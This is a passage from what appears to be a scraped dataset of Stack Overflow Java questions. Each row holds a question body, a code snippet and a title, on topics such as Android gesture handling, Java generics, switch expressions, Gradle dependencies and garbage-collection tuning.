quadrants in the circle and set a result from that . Thanks , some of my code below//////////////////////////Gesture Detect /////////////////","private class MyWheelOnTouchListener implements OnTouchListener { private double startAngle ; @ Override public boolean onTouch ( View v , MotionEvent event ) { switch ( event.getAction ( ) ) { case MotionEvent.ACTION_DOWN : rotateAnim ( ) ; // test // reset the touched quadrants for ( int i = 0 ; i < quadrantTouched.length ; i++ ) { quadrantTouched [ i ] = false ; } allowRotating = false ; startAngle = getAngle ( event.getX ( ) , event.getY ( ) ) ; break ; case MotionEvent.ACTION_MOVE : double currentAngle = getAngle ( event.getX ( ) , event.getY ( ) ) ; rotateDialer ( ( float ) ( startAngle - currentAngle ) ) ; startAngle = currentAngle ; break ; case MotionEvent.ACTION_UP : allowRotating = true ; break ; } // set the touched quadrant to true quadrantTouched [ getQuadrant ( event.getX ( ) - ( wheelWidth / 2 ) , wheelHeight - event.getY ( ) - ( wheelHeight / 2 ) ) ] = true ; wheeldetector.onTouchEvent ( event ) ; return true ; } } /*** Simple implementation of a { @ link SimpleOnGestureListener } for detecting a fling event . */private class MyWheelGestureDetector extends SimpleOnGestureListener { private double endAngle ; @ Override public boolean onFling ( MotionEvent e1 , MotionEvent e2 , float velocityX , float velocityY ) { // get the quadrant of the start and the end of the fling int q1 = getQuadrant ( e1.getX ( ) - ( wheelWidth / 2 ) , wheelHeight - e1.getY ( ) - ( wheelHeight / 2 ) ) ; int q2 = getQuadrant ( e2.getX ( ) - ( wheelWidth / 2 ) , wheelHeight - e2.getY ( ) - ( wheelHeight / 2 ) ) ; // the inversed rotations if ( ( q1 == 2 & & q2 == 2 & & Math.abs ( velocityX ) < Math.abs ( velocityY ) ) || ( q1 == 3 & & q2 == 3 ) || ( q1 == 1 & & q2 == 3 ) || ( q1 == 4 & & q2 == 4 & & Math.abs ( velocityX ) > Math.abs ( velocityY ) ) || ( ( q1 == 2 & & q2 == 3 ) || ( q1 == 3 & & q2 == 2 ) ) || ( ( q1 == 3 & & q2 == 4 ) || ( q1 == 4 & & q2 == 3 ) ) || ( q1 == 2 & & q2 == 4 & & quadrantTouched [ 3 ] ) || ( q1 == 4 & & q2 == 2 & & quadrantTouched [ 3 ] ) ) { wheel.post ( new FlingWheelRunnable ( -1 * ( velocityX + velocityY ) ) ) ; } else { // the normal rotation wheel.post ( new FlingWheelRunnable ( velocityX + velocityY ) ) ; } endAngle = getAngle ( e1.getX ( ) , e2.getY ( ) ) ; return true ; } } /*** A { @ link Runnable } for animating the the dialer 's fling . */private class FlingWheelRunnable implements Runnable { private float velocity ; public FlingWheelRunnable ( float velocity ) { this.velocity = velocity ; } @ Override public void run ( ) { if ( Math.abs ( velocity ) > 5 ) { // original = 5 rotateDialer ( velocity / 100 ) ; // original = 75 velocity /= 1.0666F ; // original = 1.0666F wheel.getRotation ( ) ) ; < -- maybe something like this , but not working ? ? // post this instance again wheel.post ( this ) ; } } } /** * @ return The angle of the unit circle with the image view 's center */private double getAngle ( double xTouch , double yTouch ) { double x = xTouch - ( wheelWidth / 2d ) ; double y = wheelHeight - yTouch - ( wheelHeight / 2d ) ; switch ( getQuadrant ( x , y ) ) { case 1 : return Math.atan ( y / x ) * 180 / Math.PI ; case 2 : return 180 - Math.atan ( y / x ) * 180 / Math.PI ; case 3 : return 180 + ( -1 * Math.atan ( y / ( x ) ) * 180 / Math.PI ) ; case 4 : return 360 + Math.atan ( y / ( x ) ) * 180 / Math.PI ; default : return 0 ; } } /** * @ return The selected quadrant . */private static int getQuadrant ( double x , double y ) { if ( x > = 0 ) { return y > = 0 ? 1 : 4 ; } else { return y > = 0 ? 2 : 3 ; } } /** * Rotate the wheel . * * @ param degrees The degrees , the dialer should get rotated . */private void rotateDialer ( float degrees ) { matrix.postRotate ( degrees , wheelWidth / 2 , wheelHeight / 2 ) ; wheel.setImageMatrix ( matrix ) ; }",How to determin the final position or angle of a rotated Image +Java,"I 'm using the external java package jdde in MATLAB . Please note that for the following example , the DLL file that comes with the package needs to be on the MATLAB librarypath . The method to do this is different depending on your MATLAB Version.Using jdde in MATLAB works fine , except for the first time after I reboot the computer or I logoff/logon in Windows . When I run the following code for the first time after a computer reboot , MATLAB will stay in busy mode forever ( with 0 % CPU ) . When this happens , I kill the MATLAB process in the task manager and restart MATLAB . When I run the same code again , it will execute instantly ( not staying busy forever ) . To sum it up , the above code will cause MATLAB to stay busy forever the first time I run it after a system reboot or user logoff/logon . When I run it again after killing the MATLAB process , it will work perfectly fine ( not hanging up MATLAB ) .I have seen this behavior on different computers , and in different Versions of MATLAB ( 2010 and 2012 ) . I 'm using Windows 7 x64.In the code example , the a.connect command is the one that causes MATLAB to stay busy forever . Putting this command in a try/catch block would not help , because the a.connect does n't cause an error , it just never does continue.I 'm not sure if this problem is caused by MATLAB or by the java package.Any ideas how to get rid of this behavior would be much appreciated.Note : The input argument of a.connect does not matter , it will always hang , so I just gave `` as input in this example .","javaaddpath ( ' C : \pretty-tools-JDDE-1.0.2.jar ' ) a = com.pretty_tools.dde.client.DDEClientConversation ; a.connect ( `` , '' ) ;","MATLAB hangs when I try to use the java package jdde , but only for the first time after a system reboot" +Java,"i 'm new to Android & Java and have a question regarding my server-app-communication . My server always returns a JSON output with `` Code '' , `` Message '' and `` Data '' . Like this : I want to use a class like this to work with the data : But here is my problem . I do n't want to give a specific type like `` car '' , `` login '' etc . to the List . Depending on my request I want to create the ServerResponse-class with a List-Type `` car '' , another with List-Type `` Locations '' etc.Is there a way to use the class ServerResponse with multiple type of ArrayLists or do I have to copy this class several times for every list-type I 'd like to use ? I 'm sorry if there 's already a solution somewhere here , but I do not know what I have to search for . And for what I searched , I could n't find a propper solution.Best regardsMichael","e.g : { `` code '' :200 , '' msg '' : '' success '' , '' data '' : [ { `` track_id '' :123 } , { `` track_id '' :124 } , { `` track_id '' :125 } ] } e.g : { `` code '' :200 , '' msg '' : '' success '' , '' data '' : [ { `` type '' : '' car '' , '' length '' :100 } , { `` type '' : '' train '' , '' length '' :500 } , { `` type '' : '' foot '' , '' length '' :3 } ] } public class ServerResponse { private int code ; private String msg ; private List < > data ; }","Java class , Arraylist with multiple types" +Java,"When loading the System class , the < clinit > method instantiates the in , out and err PrintStream variables to null using the nullPrintStream ( ) method : I understand why this is the case , and why the variables can not be instantiated during loading , but what I 'm confused about is the content of that method.Why is it comparing currentTimeMillis ( ) to 0 ? In what case would that comparison ever return false ?",private static PrintStream nullPrintStream ( ) throws NullPointerException { if ( currentTimeMillis ( ) > 0 ) { return null ; } throw new NullPointerException ( ) ; },Why does the nullPrintStream ( ) function in java/lang/System compare currentTimeMillis ( ) to zero ? +Java,"I 've checked several posts about comparators , but I stuck at one point . Comparator I ' am using : It does sort , but it does n't work properly on Lithuanian letters , and I got no idea why.EDIT : seems sorting depends on string length , for some reason.For example.EDIT : Using java 8 , Primefaces , JSF","@ Override public int compare ( BaseFolder arg0 , BaseFolder arg1 ) { try { Object value1 = arg0.getName ( ) ; Object value2 = arg1.getName ( ) ; Collator lithuanianCollator = Collator.getInstance ( new Locale ( `` lt_LT '' ) ) ; lithuanianCollator.setStrength ( Collator.PRIMARY ) ; int value = lithuanianCollator.compare ( value1.toString ( ) , value2.toString ( ) ) ; return SortOrder.ASCENDING.equals ( sortOrder ) ? value : -1 * value ; } catch ( Exception e ) { throw new RuntimeException ( ) ; } } public class BaseFolder { private String id ; private String name ; private String description ; private String lastModifiedBy ; private String lastModificationDate ; private String createdBy ; private String creationDate ; private String parentId ; public BaseFolder ( ) { } public BaseFolder ( CmisObject obj ) { this.id = obj.getId ( ) ; this.name = obj.getName ( ) ; this.description = obj.getDescription ( ) ; this.lastModificationDate = DateFormatUtils.format ( obj.getLastModificationDate ( ) .getTime ( ) , `` yyyy-MM-dd '' ) ; this.lastModifiedBy = obj.getLastModifiedBy ( ) ; this.createdBy = obj.getCreatedBy ( ) ; this.creationDate = DateFormatUtils.format ( obj.getCreationDate ( ) .getTime ( ) , `` yyyy-MM-dd '' ) ; } public BaseFolder ( String id , String name , String description , String parentId ) { super ( ) ; this.id = id ; this.name = name ; this.description = description ; this.parentId = parentId ; } public Map < String , Object > getProperties ( ) { Map < String , Object > properties = new HashMap < String , Object > ( ) ; properties.put ( PropertyIds.PARENT_ID , `` cmis : parentId '' ) ; properties.put ( PropertyIds.OBJECT_TYPE_ID , `` cmis : folder '' ) ; properties.put ( PropertyIds.NAME , getName ( ) ) ; properties.put ( PropertyIds.DESCRIPTION , getDescription ( ) ) ; return properties ; }",JAVA comparator for UTF8 letters +Java,"I have defined an HashMap with the following code : I put 4 items into the HashMap . When I debug , even if the size is 4 , it only shows 3 elements : This is the list of the elements it contains.What can be the problem ?","final Map < OrderItemEntity , OrderItemEntity > savedOrderItems = new HashMap < OrderItemEntity , OrderItemEntity > ( ) ; final ListIterator < DiscreteOrderItemEntity > li = ( ( BundleOrderItemEntity ) oi ) .getDiscreteOrderItems ( ) .listIterator ( ) ; while ( li.hasNext ( ) ) { final DiscreteOrderItemEntity doi = li.next ( ) ; final DiscreteOrderItemEntity savedDoi = ( DiscreteOrderItemEntity ) orderItemService.saveOrderItem ( doi ) ; savedOrderItems.put ( doi , savedDoi ) ; li.remove ( ) ; } ( ( BundleOrderItemEntity ) oi ) .getDiscreteOrderItems ( ) .addAll ( doisToAdd ) ; final BundleOrderItemEntity savedBoi = ( BundleOrderItemEntity ) orderItemService.saveOrderItem ( oi ) ; savedOrderItems.put ( oi , savedBoi ) ; { DiscreteOrderItemEntity @ 1c29ef3c=DiscreteOrderItemEntity @ 41949d95 , DiscreteOrderItemEntity @ 2288b93c=DiscreteOrderItemEntity @ 2288b93c , BundleOrderItemEntity @ 1b500292=BundleOrderItemEntity @ d0f29ce5 , DiscreteOrderItemEntity @ 9203174a=DiscreteOrderItemEntity @ 9203174a }",HashMap contains 4 elements but only 3 are shown in debug +Java,"I know that an instance of this C++ class : would look kind of like this in memory : c| | | |i|i|i|i|s|s| | | This 4/2 letter annotation has no sense ( But I think that my point is clear ) 1 byte for char , 3 bytes of padding , 4 bytes of int , 2 bytes for the short , and 2 bytes of tail padding ( platform dependant , but it wo n't change the logic ) From C++ standards ( Compilers would n't change the order of the fields in my example ) : Nonstatic data members of a ( non-union ) class with the same access control ( Clause 11 ) are allocated so that later members have higher addresses within a class object . The order of allocation of non-static data members with different access control is unspecified ( Clause 11 ) . Implementation alignment requirements might cause two adjacent members not to be allocated immediately after each other ; so might requirements for space for managing virtual functions ( 10.3 ) and virtual base classes ( 10.1 ) .so , I would like to know if it is the same for Java classes , Can the compiler change the order to reduce the padding ?",class A { char c ; int iiii ; short ss ; } ;,How are class attributes/fields stored +Java,I have the following code and I ca n't understand what does it mean : Anyone can help me please !,var1 |= var2 > 0 ? 1 : 2 ;,What does `` |= '' operation mean in C++ ? +Java,"So I am familiar with functional interfaces in java , and their use with lambda expressions . A functional interface can only contain one abstract method . When using this lonely method from a lambda expression , you do not need to specify its name - since there is only one abstract method in the interface , the compiler knows that 's the method you are referencing.Example : Although it is obvious why a functional interface can only contain one abstract method , I do not understand why it is not possible to overload that method.For example , the following will not compile : The compiler states that the Ball interface is not functional because it contains more than one method , but in this case I do not understand why this would be a problem - As long as the two methods take different parameters , it should be possible to infer which method I 'm referencing in the lambda based on what parameters I define.Can someone explain why it is not possible to overload a abstract method within a functional interface ?","// Functional Interface : @ FunctionalInterfacepublic interface Ball { void hit ( ) ; } // Lambda to define , then run the hit method : Ball b = ( ) - > System.out.println ( `` You hit it ! `` ) ; b.hit ( ) ; // ( NOT ) Functional Interface : @ FunctionalInterfacepublic interface Ball { void hit ( ) ; void hit ( boolean miss ) ; } // Lambda to define , then run the hit method : Ball b = ( ) - > System.out.println ( `` You hit it ! `` ) ; Ball ba = ( boolean miss ) - > System.out.println ( miss ) ; b.hit ( ) ; ba.hit ( false ) ;",Why ca n't we overload a abstract method in a functional interface ? ( Java ) +Java,"Trying out JDK/12 EarlyAccess Build 20 , where the JEP-325 Switch Expressions has been integrated as a preview feature . A sample code for the expressions ( as in the JEP as well ) : I was trying to follow the same procedure as stated in a previous question on how to Compile a JDK12 preview feature with Maven and execute the above block of code using the command line : Somewhat to my expectation I got the following error : I am aware that the document points out that the code is erroneous and replacing the comment with break 1 ; resolves it , but the questions I have are : Q1 . Why does the compile phase succeed for the same ? Should n't that fail at compile time itself ? Q2 . What is the cause that I see such detailed error message ? Could the -- enable-preview feature responsible for this ?","Scanner scanner = new Scanner ( System.in ) ; Day day = Day.valueOf ( scanner.next ( ) .toUpperCase ( ) ) ; int i = switch ( day ) { case MONDAY , TUESDAY , WEDNESDAY : break 0 ; default : System.out.println ( `` Second half of the week '' ) ; // ERROR ! Group does n't contain a break with value } ; java -- enable-preview -jar target/jdk12-updates-1.0.0-SNAPSHOT.jar Error : Unable to initialize main classcom.stackoverflow.nullpointer.expression.SwitchExpressionMustCompleteCaused by : java.lang.VerifyError : Bad local variable type ExceptionDetails : Location : com/stackoverflow/nullpointer/expression/SwitchExpressionMustComplete.main ( [ Ljava/lang/String ; ) V @ 66 : iload Reason : Type top ( current frame , locals [ 4 ] ) is not assignable to integer Current Frame : bci : @ 66 flags : { } locals : { ' [ Ljava/lang/String ; ' , 'java/util/Scanner ' , 'com/stackoverflow/nullpointer/Day ' } stack : { } Bytecode : 0000000 : bb00 0259 b200 03b7 0004 4c2b b600 05b8 0000010 : 0006 4db2 0007 2cb6 0008 2eaa 0000 001f 0000020 : 0000 0001 0000 0003 0000 0019 0000 0019 0000030 : 0000 0019 0336 04a7 000b b200 0912 0ab6 0000040 : 000b 1504 3eb1 Stackmap Table : append_frame ( @ 52 , Object [ # 2 ] , Object [ # 34 ] ) same_frame ( @ 58 ) same_frame ( @ 66 )",Why does an incomplete switch expression compile successfully +Java,"I have this abstract class where I have defined some methods that implement database actions ( fetch rows , insert , delete , etc . ) Now I want to make method that will return some rows ( i.e . the whole table ) but instead of the domain classes I want it to return the corresponding model classes ( which basically is the same as domain but without the relationship lists and some other stuff I do n't need for the presentation layer ) .The abstract class isand I want to add another method that will call fetchAll ( ) and then iterate each item and create the model equivalent and return that list.Disregarding that this is the code I though just now writing the question , is it acceptable to add a parameter for a generic that is not defined in the class . IMO a class can have methods returning other data types so it should not be a problem . In my case I pass the class so I can create an instance of the model and then use the domain to fill the members . I was of two opinions , The one I wrote where I add a method to the model class to create it self from the domain object . I was thinking of a constructor that takes the domain object as an argument , but I think it 's a bit of a hassle to call a constructor using generics ( It would need reflection utilities at the very least ) so I though of a method to fill the details after creating an instance using the default constructor . Also the model is on a higher layer and I think higher layers should use lower ones ( Database- > Domain classes- > Access classes ( DAO ) - > Service classes- > Servlet classes -- -- > JSP showing data ) I could add a method to the domain class that transforms the domain to its model and call that without having to pass the class of the modelbut I feel that the domain class should be as clean a representation of the table in the database with the only methods having to do with the columns.Would it better to add the parameter on the class . I am only going to use it for this method ... Any thoughts comments always welcome",public abstract class DomainService < T extends Domain > { protected abstract Logger getLogger ( ) ; protected final Validator validator ; protected DomainService ( ) { ValidatorFactory factory = Validation.buildDefaultValidatorFactory ( ) ; this.validator = factory.getValidator ( ) ; } abstract public void insert ( T object ) throws ValidationException ; abstract public void delete ( T object ) throws EntityNotFoundException ; abstract public List < T > fetchAll ( ) ; } public < K extends Model > List < K > fetchAllModels ( Class < K > modelClass ) { List < T > domains = fetchAll ( ) ; List < K > models = new ArrayList < K > ( domains.size ( ) ) ; for ( T domain : domains ) { K model = modelClass.newInstance ( ) ; models.add ( model.fillIn ( domain ) ) ; } return models ; } public < K > List < K > fetchAllModels ( ) { List < T > domains = fetchAll ( ) ; List < K > models = new ArrayList < K > ( domains.size ( ) ) ; for ( T domain : domains ) { models.add ( domain.createModel ( ) ) ; } return models ; },Is it bad practice to return a generic inside an abstract class of different generic parameter +Java,"Starting with a brand-new Android Studio 2.2.3 project , accepting all defaults except opting out of AppCompat , I added two dependencies to app/build.gradle : There are no problems at compile time , even if I reference classes from Gson or OkHttp . However , I run the app from Android Studio and get the dreaded NoClassDefFoundError : If I use Android Studio 's APK Analyzer to analyze the app-debug.apk , I see that nothing from my two dependencies is included in the APK , except a reference to GsonBuilder : I get the same results from a command-line build ( gradle clean assembleDebug ) .However , a release build shows the APK with the dependencies included : If I switch to older versions of these artifacts ( com.google.code.gson : gson:2.3 and com.squareup.okhttp3 : okhttp:3.2.0 ) , they show up properly in debug builds . The problem is per-artifact , so if I include the older Gson and the newer OkHttp , my debug builds contain Gson classes by not OkHttp ones.So , to recap : for these specific versions of these specific artifacts , for debug builds , the contents of the artifacts are not added to my APK.The question is : why ?","apply plugin : 'com.android.application'android { compileSdkVersion 25 buildToolsVersion `` 25.0.0 '' defaultConfig { applicationId `` com.commonsware.myapplication '' minSdkVersion 15 targetSdkVersion 25 versionCode 1 versionName `` 1.0 '' testInstrumentationRunner `` android.support.test.runner.AndroidJUnitRunner '' } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.pro ' } } } dependencies { compile 'com.google.code.gson : gson:2.4 ' compile 'com.squareup.okhttp3 : okhttp:3.5.0 ' androidTestCompile ( 'com.android.support.test.espresso : espresso-core:2.2.2 ' , { exclude group : 'com.android.support ' , module : 'support-annotations ' } ) testCompile 'junit : junit:4.12 ' } 12-16 10:48:52.175 15687-15687/com.commonsware.myapplication E/AndroidRuntime : FATAL EXCEPTION : main Process : com.commonsware.myapplication , PID : 15687 java.lang.NoClassDefFoundError : Failed resolution of : Lcom/google/gson/GsonBuilder ; at com.commonsware.myapplication.MainActivity.onCreate ( MainActivity.java:13 ) at android.app.Activity.performCreate ( Activity.java:6251 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1107 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2369 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2476 ) at android.app.ActivityThread.-wrap11 ( ActivityThread.java ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1344 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5417 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:726 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:616 ) Caused by : java.lang.ClassNotFoundException : Did n't find class `` com.google.gson.GsonBuilder '' on path : DexPathList [ [ zip file `` /data/app/com.commonsware.myapplication-1/base.apk '' ] , nativeLibraryDirectories= [ /data/app/com.commonsware.myapplication-1/lib/arm , /vendor/lib , /system/lib ] ] at dalvik.system.BaseDexClassLoader.findClass ( BaseDexClassLoader.java:56 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:511 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:469 ) at com.commonsware.myapplication.MainActivity.onCreate ( MainActivity.java:13 ) at android.app.Activity.performCreate ( Activity.java:6251 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1107 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2369 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2476 ) at android.app.ActivityThread.-wrap11 ( ActivityThread.java ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1344 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5417 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:726 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:616 ) Suppressed : java.lang.ClassNotFoundException : com.google.gson.GsonBuilder at java.lang.Class.classForName ( Native Method ) at java.lang.BootClassLoader.findClass ( ClassLoader.java:781 ) at java.lang.BootClassLoader.loadClass ( ClassLoader.java:841 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:504 ) ... 14 more Caused by : java.lang.NoClassDefFoundError : Class not found using the boot class loader ; no stack trace available",Why Would Dependencies Be Included Only In Release Builds ? +Java,"I am using Eclipse Helios on CentOS 5.6 and , ( maybe ) after ( or perhaps due to ? ) downloading a plugin for Jetty , the IDE has stopped autosaving before building . The corresponding option inis on and I have tried all possible combinations of unsetting and resetting it , as well as restarting the application.Is there any way of `` manually '' overriding this option in a configuration file somewhere ? Thanks !",Window -- > Preferences -- > Workspace -- > Save automatically before build,Eclipse `` autosave before build '' not working ? +Java,"On a nightly build of Jenkins , one of our tests failed at 2:00:12am . After some time debugging and changing the systemtime of my computer , I was very confused . Then I wrote the following test ( simulating the issue ) , which fails , but I 'm unable to understand why . I tried Google , but found nothing similar.Can anyone explain why the last assert fails ? ( In Brussels time zone , daylight saving time ended on 25-10-15 at 3am . The clock then jumped back one hour . )","@ Testpublic void testFirstBeforeSecond_atDayLightSavingTime ( ) throws ParseException { Date first = new SimpleDateFormat ( `` dd-MM-yyyy HH : mm '' ) .parse ( `` 25-10-2015 00:59 '' ) ; Date second = new SimpleDateFormat ( `` dd-MM-yyyy HH : mm '' ) .parse ( `` 25-10-2015 01:01 '' ) ; assertThat ( first.before ( second ) , is ( true ) ) ; // Ok , as expected first = add ( first , Calendar.HOUR_OF_DAY , 2 ) ; second = add ( second , Calendar.HOUR_OF_DAY , 2 ) ; assertThat ( first.before ( second ) , is ( true ) ) ; // Ok , as expected first = add ( first , Calendar.DAY_OF_YEAR , 2 ) ; second = add ( second , Calendar.DAY_OF_YEAR , 2 ) ; assertThat ( first.before ( second ) , is ( true ) ) ; // Fails ? } private Date add ( Date date , int field , int amount ) { Calendar calendar = Calendar.getInstance ( ) ; calendar.setTimeZone ( TimeZone.getTimeZone ( `` Europe/Brussels '' ) ) ; calendar.setTime ( date ) ; calendar.add ( field , amount ) ; return calendar.getTime ( ) ; }",Confusing test fail - daylight saving time +Java,"A book I am reading on Java tells me that the following two pieces of code are equivalent : On the opposite page , I am informed that the latter piece of code uses the ' ? ' as a wildcard , meaning that nothing can be added to the list.Does this mean that if I ever have a list ( or other collection types ? ) that I ca n't make them simultaneously accept polymorphic arguments AND be re-sizable ? Or have I simply misunderstood something ? All help/comments appreciated , even if they go slightly off topic . Thanks .",public < T extends Animal > void takeThing ( ArrayList < T > list ) public void takeThing ( ArrayList < ? extends Animal > list ) ;,Generics ( and Wildcards ) in Java +Java,"I am trying to create a little functional programming library for Java ( just to scratch my own itch ) . While defining the higher-order functions for Lists , Sets and Maps I have come across this problem : The functions that take a collection , and return a collection of same type have almost the same implementation , and yet have to be redefined for each of the data structure - Lists , Sets , and Maps.For example , here is the implementation of map function for Lists , and Sets : A filter function : As can be seen from this example , the bodies of the implementations for Set and List are almost the same.There are lot many functions like map and filter in my library , and each of those is defined thrice for each type of collections I am interested in ( i.e . List , Set , and Map ) . This leads to a lot of code duplication , and code smell . I wanted to know whether there 's some way in Java that would help me avoid all the code duplication.Any help will be greatly appreciated . Thanks.EDIT : Func1 is an interface defined as :","public static < A , B > List < B > map ( List < ? extends A > xs , Func1 < ? super A , ? extends B > transformer ) { List < B > ys = new ArrayList < B > ( ) ; for ( A a : xs ) { ys.add ( transformer.apply ( a ) ) ; } return ys ; } public static < A , B > Set < B > map ( Set < ? extends A > xs , Func1 < ? super A , ? extends B > transformer ) { Set < B > ys = new HashSet < B > ( ) ; for ( A a : xs ) { ys.add ( transformer.apply ( a ) ) ; } return ys ; } public static < A > List < A > filter ( List < ? extends A > xs , Func1 < ? super A , Boolean > predicate ) { List < A > ys = new ArrayList < A > ( ) ; for ( A a : xs ) { if ( predicate.apply ( a ) ) { ys.add ( a ) ; } } return ys ; } public static < A > Set < A > filter ( Set < ? extends A > xs , Func1 < ? super A , Boolean > predicate ) { Set < A > ys = new HashSet < A > ( ) ; for ( A a : xs ) { if ( predicate.apply ( a ) ) { ys.add ( a ) ; } } return ys ; } interface Func1 < A , B > { public B apply ( A a ) ; }",Removing code duplication +Java,"Say we have the following classes : Of course , all the methods will be compiled into their respective .class : do the unused static/instance methods occupy memory at run time ? What about unused inherited or imported methods ?",class DoubleOhSeven { public static void doSomethingClassy ( ) ; public static void neverDoThisClassy ( ) ; } class Dude { public void doSomething ( ) ; public void neverDoThis ( ) ; } public class Party { public static void main ( String [ ] args ) { DoubleOhSeven.doSomething ( ) ; Dude guy = new Dude ; guy.doSomething ( ) ; } },Do most JVMs allocate memory for unused methods ? +Java,I am new to NLP.I am trying a sample program with LexicalizedParser but am not able to locate the model.I have the required stanford-core-nlp-3.5.2.jar and the ner jar too in build path of a sample Java application.I tried referring the absolute path of the core jar and load it but could not . : ( How can I refer to the exact location of this model from my program code ? A big thank you for any help and all help !,String parseModel = `` ... ../models/lexparser/englishPCFG.ser.gz '' ; LexicalizedParser lecicalizedParser = LexicalizedParser.loadModel ( parseModel ) ;,Stanford Core NLP LexicalizedParser Model +Java,"I had a hard time thinking of a title for this , so do forgive me.I have an interface with the following methods : and a class implementing Algorithm with the following methods : Now the odd thing is that Eclipse is complaining about the second method , reduce . The method reduce ( Set < LinearSearch < T > > ) of type LinearSearch < T > must override or implement a supertype method.This is despite the fact that the map method is fine . So where am I going wrong ?","public interface Algorithm < E , F > { public Set < ? extends Algorithm < E , F > > map ( int numPartitions ) ; public F reduce ( Set < ? extends Algorithm < E , F > > partitions ) ; } public class LinearSearch < T > implements Algorithm < List < T > , Integer > { @ Override public Set < LinearSearch < T > > map ( int numPartitions ) { return null ; } @ Override public Integer reduce ( Set < LinearSearch < T > > partitions ) { return null ; } }",Generics interface method signature `` incorrect '' +Java,"So you know you can use AsynchronousFileChannel to read an entire file to a String : Suppose that now , I do n't want to allocate an entire ByteBuffer , but read line by line . I could use a ByteBuffer of fixed width and keep recalling read many times , always copying and appending to a StringBuffer until I do n't get to a new line ... My only concern is : because the encoding of the file that I am reading could be multi byte per character ( UTF something ) , it may happen that the read bytes end with an uncomplete character . How can I make sure that I 'm converting the right bytes into strings and not messing up the encoding ? UPDATE : answer is in the comment of the selected answer , but it basically points to CharsetDecoder .","AsynchronousFileChannel fileChannel = AsynchronousFileChannel.open ( filePath , StandardOpenOption.READ ) ; long len = fileChannel.size ( ) ; ReadAttachment readAttachment = new ReadAttachment ( ) ; readAttachment.byteBuffer = ByteBuffer.allocate ( ( int ) len ) ; readAttachment.asynchronousChannel = fileChannel ; CompletionHandler < Integer , ReadAttachment > completionHandler = new CompletionHandler < Integer , ReadAttachment > ( ) { @ Override public void completed ( Integer result , ReadAttachment attachment ) { String content = new String ( attachment.byteBuffer.array ( ) ) ; try { attachment.asynchronousChannel.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } completeCallback.accept ( content ) ; } @ Override public void failed ( Throwable exc , ReadAttachment attachment ) { exc.printStackTrace ( ) ; exceptionError ( errorCallback , completeCallback , String.format ( `` error while reading file [ % s ] : % s '' , path , exc.getMessage ( ) ) ) ; } } ; fileChannel.read ( readAttachment.byteBuffer , 0 , readAttachment , completionHandler ) ;",How to use AsynchronousFileChannel to read to a StringBuffer efficiently +Java,"My app is geo application.Due to a requirement of short response time each of my instance load all points to memory and store them in a structure ( quad tree ) .Every minute we load all points ( to be sync with the db ) and put them in few quad trees.We now have 0.5GB points.I am trying to prepare to the next level of 5GB points.JVM : -XX : NewSize=6g -Xms20g -Xmx20g -XX : +UseConcMarkSweepGC -verboseGC -XX : +PrintGCTimeStamps -XX : +PrintGCDateStamps -XX : +PrintGCDetailsStartup of the instance took lots of times due to GC in additional the app suffer from GC all the time.I would like to have some reference to GC with large heap.I can think of few solutions for this : To refresh only the changes in the db and not load all db each time . Cons - still will suffer from GC during the early stage of the application , Long time GC . Off heap solution . Store in the quad tree the point ids and store the points out of heap . Cons - serialization time , the geo structure is a complex of few objects and not simple object.For each instance create additional instance with the structure and query against this instance . The geo instance will hold long lived object and can have GC adjustment for long lived object . Cons - complexity and response time.Any references to article on apps that hold few GIG of long lived objects will be more than welcome.Run on Ubuntu ( Amazon ) . Java 7 . Dosnt have memory limitation.The problem is long pause time each time we refresh the data.Gc log for the refresh :","2014-06-15T16:32:58.551+0000 : 1037.469 : [ GC2014-06-15T16:32:58.551+0000 : 1037.469 : [ ParNew : 5325855K- > 259203K ( 5662336K ) , 0.0549830 secs ] 16711893K- > 11645244K ( 20342400K ) , 0.0551490 secs ] [ Times : user=0.71 sys=0.00 , real=0.05 secs ] 2014-06-15T16:33:02.383+0000 : 1041.302 : [ GC2014-06-15T16:33:02.383+0000 : 1041.302 : [ ParNew : 5292419K- > 470768K ( 5662336K ) , 0.0851740 secs ] 16678460K- > 11856811K ( 20342400K ) , 0.0853260 secs ] [ Times : user=1.09 sys=0.00 , real=0.09 secs ] 2014-06-15T16:33:06.114+0000 : 1045.033 : [ GC2014-06-15T16:33:06.114+0000 : 1045.033 : [ ParNew : 5503984K- > 629120K ( 5662336K ) , 1.5475170 secs ] 16890027K- > 12193877K ( 20342400K ) , 1.5476760 secs ] [ Times : user=5.49 sys=0.61 , real=1.55 secs ] 2014-06-15T16:33:11.145+0000 : 1050.063 : [ GC2014-06-15T16:33:11.145+0000 : 1050.063 : [ ParNew : 5662336K- > 558612K ( 5662336K ) , 0.7742870 secs ] 17227093K- > 12758866K ( 20342400K ) , 0.7744610 secs ] [ Times : user=3.88 sys=0.82 , real=0.77 secs ] 2014-06-15T16:33:11.920+0000 : 1050.838 : [ GC [ 1 CMS-initial-mark : 12200254K ( 14680064K ) ] 12761216K ( 20342400K ) , 0.1407080 secs ] [ Times : user=0.13 sys=0.01 , real=0.14 secs ] 2014-06-15T16:33:12.061+0000 : 1050.979 : [ CMS-concurrent-mark-start ] 2014-06-15T16:33:14.208+0000 : 1053.127 : [ 